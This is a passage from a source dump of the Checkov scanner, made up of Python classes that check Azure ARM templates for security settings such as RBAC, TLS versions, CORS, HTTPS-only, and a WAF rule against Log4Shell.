    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AKSPoolTypeIsScaleSet(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets\"\n        id = \"CKV_AZURE_169\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/agentPoolProfiles/[0]/type\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"AvailabilitySet\"]\n\n\ncheck = AKSPoolTypeIsScaleSet()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSRbacEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AKSRbacEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # apiVersion 2017-08-03 = Fail - No enableRBAC option to configure\n        name = \"Ensure RBAC is enabled on AKS clusters\"\n        id = \"CKV_AZURE_5\"\n        supported_resources = ('Microsoft.ContainerService/managedClusters',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            if conf[\"apiVersion\"] == \"2017-08-31\":\n                # No enableRBAC option to configure\n                self.evaluated_keys = [\"apiVersion\"]\n                return CheckResult.FAILED\n\n        self.evaluated_keys = [\"properties\"]\n        properties = conf.get('properties')\n        if not properties or not isinstance(properties, dict):\n            return CheckResult.FAILED\n        enable_RBAC = properties.get('enableRBAC')\n        if str(enable_RBAC).lower() == \"true\":\n            return CheckResult.PASSED\n        self.evaluated_keys.append(\"properties/enableRBAC\")\n        return CheckResult.FAILED\n\n\ncheck = AKSRbacEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSUpgradeChannel.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AKSUpgradeChannel(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AKS cluster upgrade channel is chosen\"\n        id = \"CKV_AZURE_171\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"properties/autoUpgradeProfile/upgradeChannel\"\n\n    def get_forbidden_values(self) -> Any:\n        return \"none\"\n\n\ncheck = AKSUpgradeChannel()\n"
  },
  {
    "path": "checkov/arm/checks/resource/APIManagementMinTLS12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass APIManagementMinTLS12(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API management uses at least TLS 1.2\"\n        id = \"CKV_AZURE_173\"\n        supported_resources = (\"Microsoft.ApiManagement/service\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if isinstance(properties, dict) and \"customProperties\" in properties:\n            self.evaluated_keys = [\"properties\"]\n            customProperties = properties.get(\"customProperties\")\n            if isinstance(customProperties, dict):\n                self.evaluated_keys = [\"properties/customProperties\"]\n                if customProperties.get(\"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Ssl30\"):\n                    return CheckResult.FAILED\n                if customProperties.get(\"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Tls10\"):\n                    return CheckResult.FAILED\n                if customProperties.get(\"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Ssl30\"):\n                    return CheckResult.FAILED\n                if customProperties.get(\"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls10\"):\n                    return CheckResult.FAILED\n                if customProperties.get(\"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls11\"):\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = APIManagementMinTLS12()\n"
  },
  {
    "path": "checkov/arm/checks/resource/APIManagementPublicAccess.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass APIManagementPublicAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API management public access is disabled\"\n        id = \"CKV_AZURE_174\"\n        supported_resources = (\"Microsoft.ApiManagement/service\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> Any:\n        return \"Disabled\"\n\n\ncheck = APIManagementPublicAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass APIServicesUseVirtualNetwork(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that API management services use virtual networks\"\n        id = \"CKV_AZURE_107\"\n        supported_resources = (\"Microsoft.ApiManagement/service\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"properties/virtualNetworkConfiguration\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = APIServicesUseVirtualNetwork()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AkSSecretStoreRotation.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AkSSecretStoreRotation(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters\"\n        id = \"CKV_AZURE_172\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/addonProfiles/azureKeyvaultSecretsProvider/config/enableSecretRotation\"\n\n\ncheck = AkSSecretStoreRotation()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py",
    "content": "from __future__ import annotations\nfrom typing import Any, List\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\nBAD_CIPHERS = {\n    \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_RSA_WITH_AES_256_CBC_SHA256\",\n    \"TLS_RSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_RSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_RSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 \",\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\",\n    \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 \",\n    \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\",\n    \"TLS_RSA_WITH_3DES_EDE_CBC_SHA\",\n    \"TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\",\n}\nPROTOCOL_VERSIONS = {\"TLSv1_2\", \"TLSv1_3\"}\n\n\nclass AppGWDefinesSecureProtocols(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.AppGw.SSLPolicy/\n        \"\"\"\n        name = \"Ensure Application Gateway defines secure protocols for in transit communication\"\n        id = \"CKV_AZURE_218\"\n        supported_resources = (\"Microsoft.Network/applicationGateways\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name,\n                         id=id,\n                         categories=categories,\n                         supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        sslPolicy = conf[\"properties\"].get(\"sslPolicy\")\n        if sslPolicy and isinstance(sslPolicy, dict):\n            policyType = sslPolicy.get(\"policyType\")\n            if policyType != \"Predefined\":\n                protocolversion = sslPolicy.get(\"minProtocolVersion\")\n                if (\n                        protocolversion and isinstance(protocolversion, str)\n                        and protocolversion in PROTOCOL_VERSIONS\n                ):\n                    ciphers = sslPolicy.get(\"cipherSuites\")\n                    if ciphers and isinstance(ciphers, list) and any(cipher in BAD_CIPHERS for cipher in ciphers):\n                        return CheckResult.FAILED\n                    return CheckResult.PASSED\n\n            policyName = sslPolicy.get(\"policyName\")\n            if policyName == \"AppGwSslPolicy20220101S\":\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties/sslPolicy\", \"properties/sslPolicy/policyType\", \"properties/sslPolicy/minProtocolVersion\",\n                \"properties/sslPolicy/cipherSuites\"]\n\n\ncheck = AppGWDefinesSecureProtocols()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py",
    "content": "from typing import Dict, Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass AppGatewayWAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AZURE_135\"\n        supported_resources = (\"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if not properties:\n            return CheckResult.FAILED\n        self.evaluated_keys = properties.get(\"managedRules\")\n        managed_rules = properties.get(\"managedRules\")\n        if managed_rules:\n            managed_rule_sets = managed_rules.get(\"managedRuleSets\") or []\n            for idx_rule_set, rule_set in enumerate(force_list(managed_rule_sets)):\n                self.evaluated_keys = [\n                    f\"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleSetType\",\n                    f\"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleSetVersion\",\n                ]\n                if (rule_set.get(\"ruleSetType\") == \"OWASP\" or not rule_set.get(\"ruleSetType\")) and rule_set.get(\"ruleSetVersion\") in [\"3.1\", \"3.2\"]:\n                    rule_overrides = rule_set.get(\"ruleGroupOverrides\") or []\n                    for idx_override, rule_override in enumerate(force_list(rule_overrides)):\n                        self.evaluated_keys.extend(\n                            [\n                                f\"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/ruleGroupName\",\n                                f\"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/rules\",\n                            ]\n                        )\n                        if isinstance(rule_override, dict) and rule_override.get(\"ruleGroupName\") == \"REQUEST-944-APPLICATION-ATTACK-JAVA\":\n                            disabled_rules = rule_override.get(\"rules\") or []\n                            for idx_rule_id, disabled_rule in enumerate(force_list(disabled_rules)):\n                                self.evaluated_keys.extend(\n                                    [\n                                        f\"managedRules/[0]/managedRuleSets[{idx_rule_set}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule_id}]/ruleId\",\n                                    ]\n                                )\n                                if disabled_rule.get(\"ruleId\") == \"944240\":\n                                    return CheckResult.FAILED\n\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AppGatewayWAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceAuthentication.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites/config-authsettings\n\n\nclass AppServiceAuthentication(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure App Service Authentication is set on Azure App Service\"\n        id = \"CKV_AZURE_13\"\n        supported_resources = (\"Microsoft.Web/sites/config\", \"config\")\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"name\"]\n        if self.entity_type == \"Microsoft.Web/sites/config\":\n            if \"name\" in conf and \"authsettings\" in conf[\"name\"]:\n                if \"properties\" in conf and \"enabled\" in conf[\"properties\"]:\n                    if str(conf[\"properties\"][\"enabled\"]).lower() == \"true\":\n                        return CheckResult.PASSED\n            return CheckResult.FAILED\n        elif self.entity_type == \"config\":\n            if \"name\" in conf and conf[\"name\"] == \"authsettings\":\n                if \"parent_type\" in conf:\n                    if conf[\"parent_type\"] == \"Microsoft.Web/sites\":\n                        if \"properties\" in conf:\n                            if \"enabled\" in conf[\"properties\"]:\n                                if str(conf[\"properties\"][\"enabled\"]).lower() == \"true\":\n                                    return CheckResult.PASSED\n                    return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = AppServiceAuthentication()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceClientCertificate.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AppServiceClientCertificate(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites\n        # clientCertEnabled default = false\n        name = \"Ensure the web app has 'Client Certificates (Incoming client certificates)' set\"\n        id = \"CKV_AZURE_17\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"clientCertEnabled\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"clientCertEnabled\"]).lower() == \"true\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/clientCertEnabled\"]\n\n\ncheck = AppServiceClientCertificate()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py",
    "content": "from __future__ import annotations\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceDetailedErrorMessagesEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that App service enables detailed error messages\"\n        id = \"CKV_AZURE_65\"\n        supported_resources = ['Microsoft.Web/sites/config']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/detailedErrorLoggingEnabled\"\n\n\ncheck = AppServiceDetailedErrorMessagesEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceDisallowCORS.py",
    "content": "from typing import Any, List\n\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServiceDisallowCORS(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that CORS disallows every resource to access app services\"\n        id = \"CKV_AZURE_57\"\n        supported_resources = (\"Microsoft.Web/sites\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED\n        )\n\n    def get_inspected_key(self) -> str:\n        return 'properties/siteConfig/cors/allowedOrigins'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return ['*']\n\n\ncheck = AppServiceDisallowCORS()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceDotnetFrameworkVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Net Framework' version is the latest, if used as a part of the web app\"\n        id = \"CKV_AZURE_80\"\n        supported_resources = ['Microsoft.Web/sites/config']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/netFrameworkVersion\"\n\n    def get_expected_value(self) -> str:\n        return \"v8.0\"\n\n\ncheck = AppServiceDotnetFrameworkVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceEnableFailedRequest.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceEnableFailedRequest(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        todo: revisit when graph fully enabled as web config section could be missing entirely from a web app\n        \"\"\"\n\n        name = \"Ensure that App service enables failed request tracing\"\n        id = \"CKV_AZURE_66\"\n        supported_resources = [\"Microsoft.Web/sites/config\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/requestTracingEnabled\"\n\n\ncheck = AppServiceEnableFailedRequest()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceFTPSState.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom typing import List\nfrom typing import Any\n\n\nclass AppServiceFTPSState(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure FTP deployments are disabled\"\n        id = \"CKV_AZURE_78\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/ftpsState\"\n\n    def get_expected_value(self) -> Any:\n        return \"Disabled\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"Disabled\", \"FtpsOnly\"]\n\n\ncheck = AppServiceFTPSState()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceHTTPSOnly.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AppServiceHTTPSOnly(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites\n        name = \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service\"\n        id = \"CKV_AZURE_14\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"httpsOnly\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"httpsOnly\"]).lower() == \"true\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/httpsOnly\"]\n\n\ncheck = AppServiceHTTPSOnly()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py",
    "content": "\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceHttpLoggingEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that App service enables HTTP logging\"\n        id = \"CKV_AZURE_63\"\n        supported_resources = [\"Microsoft.Web/sites/config\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/httpLoggingEnabled\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = AppServiceHttpLoggingEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceHttps20Enabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass AppServiceHttps20Enabled(BaseResourceCheck):\n    # apiVersion = 2018-11-01 - http20Enabled is a string\n    # apiVersion > 2020-10-01  - http20Enabled is a boolean\n    def __init__(self) -> None:\n        name = \"Ensure that 'HTTP Version' is the latest if used to run the web app\"\n        id = \"CKV_AZURE_18\"\n        supported_resources = (\"Microsoft.Web/sites\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties\"]\n        http_20_enabled = find_in_dict(conf, \"properties/siteConfig/http20Enabled\")\n        if http_20_enabled and \"apiVersion\" in conf:\n            self.evaluated_keys = [\"properties/siteConfig/http20Enabled\", \"apiVersion\"]\n            if conf[\"apiVersion\"] == \"2018-11-01\":\n                if isinstance(http_20_enabled, str) and str(http_20_enabled).lower() == \"true\":\n                    return CheckResult.PASSED\n            elif isinstance(http_20_enabled, bool) and http_20_enabled:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AppServiceHttps20Enabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceIdentity.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AppServiceIdentity(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites#ManagedServiceIdentity\n        # https://docs.microsoft.com/en-us/azure/app-service/overview-managed-identity\n        # https://docs.microsoft.com/en-us/azure/app-service/samples-resource-manager-templates\n        name = \"Ensure that Register with Azure Active Directory is enabled on App Service\"\n        id = \"CKV_AZURE_16\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"identity\" in conf:\n            if \"type\" in conf[\"identity\"]:\n                if conf[\"identity\"][\"type\"] == \"SystemAssigned\":\n                    return CheckResult.PASSED\n                elif conf[\"identity\"][\"type\"] == \"UserAssigned\":\n                    if \"userAssignedIdentities\" in conf[\"identity\"]:\n                        if conf[\"identity\"][\"userAssignedIdentities\"]:\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['identity', 'identity/type', 'identity/userAssignedIdentities']\n\n\ncheck = AppServiceIdentity()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py",
    "content": "from typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Managed identity provider is enabled for web apps\"\n        id = \"CKV_AZURE_71\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppServiceIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceInstanceMinimum.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, List\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServiceInstanceMinimum(BaseResourceCheck):\n    def __init__(self) -> None:\n        # \"App Services Plans provides a configurable number of instances that will run apps.\n        # When a single instance is configured your app may be temporarily unavailable during unplanned interruptions.\n        # In most circumstances, Azure will self-heal faulty app service instances automatically.\n        # How-ever during this time there may interruptions to your workload.\"\n        name = \"Ensure App Service has a minimum number of instances for failover\"\n        id = \"CKV_AZURE_212\"\n        supported_resources = (\"Microsoft.Web/sites\", \"Microsoft.Web/sites/slots\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, int]]]) -> CheckResult:\n        if \"properties\" in conf:\n            if conf.get(\"properties\", {}).get(\"siteConfig\") is not None:\n                if \"numberOfWorkers\" in conf[\"properties\"][\"siteConfig\"]:\n                    worker_count = conf[\"properties\"][\"siteConfig\"][\"numberOfWorkers\"]\n                    if worker_count:\n                        if not isinstance(worker_count, int):\n                            return CheckResult.UNKNOWN\n                        if worker_count > 1:\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/siteConfig\", \"properties/siteConfig/numberOfWorkers\"]\n\n\ncheck = AppServiceInstanceMinimum()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceJavaVersion.py",
    "content": "from typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceJavaVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Java version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_83\"\n        supported_resources = ('Microsoft.Web/sites',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self) -> str:\n        return \"siteConfig/javaVersion\"\n\n    def get_expected_value(self) -> Any:\n        return '17'\n\n\ncheck = AppServiceJavaVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceMinTLSVersion.py",
    "content": "from typing import Any, List\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure web app is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_15\"\n        supported_resources = (\"Microsoft.Web/sites\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.web/2019-08-01/sites\n        return \"properties/siteConfig/minTlsVersion\"\n\n    def get_expected_value(self) -> Any:\n        return \"1.2\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = AppServiceMinTLSVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServicePHPVersion.py",
